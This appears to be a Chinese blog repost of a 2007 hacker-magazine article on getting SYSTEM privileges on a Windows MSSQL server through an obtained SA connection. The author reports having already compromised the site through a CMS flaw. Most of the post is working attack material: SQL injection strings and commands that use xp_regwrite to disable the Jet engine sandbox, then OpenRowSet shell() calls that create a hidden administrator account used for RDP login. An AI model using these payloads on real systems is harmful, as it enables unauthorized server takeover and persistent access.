一把“沙盒”提权
[重要通告]如您遇疑难杂症,本站支持知识付费业务,扫右边二维码加博主微信,可节省您宝贵时间哦!
一把“沙盒”提权
今天实践了一把“沙盒”提权
文章登于2007年2月的黑客X档案杂志
作者:职业欠钱
动易出新洞,呆呆找到了后台密码,得到shell,su端口被改,没别的途径,数据库连接帐号是SA,执行命令的存储过程无效(自己上传了dll文件恢复了xp_cmdshell也没用,OA_create和Job也试了,执行命令无回显),本欲放弃,想起前辈的一句话:“得到了SA拿不到system权限是水平问题”,于是仔细想了下,不能执行命令,还有读和写文件的超级权限,而且注册表的读和写权限也是有的,因此前辈的话非常有道理,有了这些权限,仅仅是不能执行命令就放弃,太划不来了。
想起一个沙盒的故事,那是很早以前,kevin1986还没退出这个圈子,神秘兮兮的在卖一个工具,说是MDB注射时可以拿到system权限的工具,价钱不绯
大约一年后,这个真相终于被人公布了,引用一篇文章如下:
调用特殊函数实现SQL注入
首先我在
Select shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');
查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行了.接下来写一个VBS脚本任意连接一个mdb来测试这个SQL语句
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
运行后会出现"表达式中的'Shell'函数未定义"的错误,
通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接,就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句
InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--
那我们将SandBoxMode开关的注册表值修改为0就成功了.接着连接到一个Access数据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用ASP文件Select调用这个VBA的 shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我们有一个 SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两个 Access数据库,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,这样一来我们又可以利用OpenRowSet函数构造出如下注入语句:
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--
如果你觉得不大好懂的话,我可以给你做一个简化的理解:
1,Access可以调用VBS的函数,以System权限执行任意命令
2,Access执行这个命令是有条件的,需要一个开关被打开
3,这个开关在注册表里
4,SA是有权限写注册表的
5,用SA写注册表的权限打开那个开关
6,调用Access里的执行命令方法,以system权限执行任意命令
所以,今天我使用HDSI的执行SQL命令,执行了以下命令:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators zyqq /add")');
最后,用这个新加上的用户,成功登陆3389!
据说DBO也有写注册表的权限,那么如果制作出一个专用的工具来,以后的提权道路确实会又宽广了很多!不过DBO这个写注册表的权限我还没有测试,一会测试了把报告发上来。
问题未解决?付费解决问题加Q或微信 2589053300 (即Q号又微信号)右上方扫一扫可加博主微信
所写所说,是心之所感,思之所悟,行之所得;文当无敷衍,落笔求简洁。 以所舍,求所获;有所依,方所成!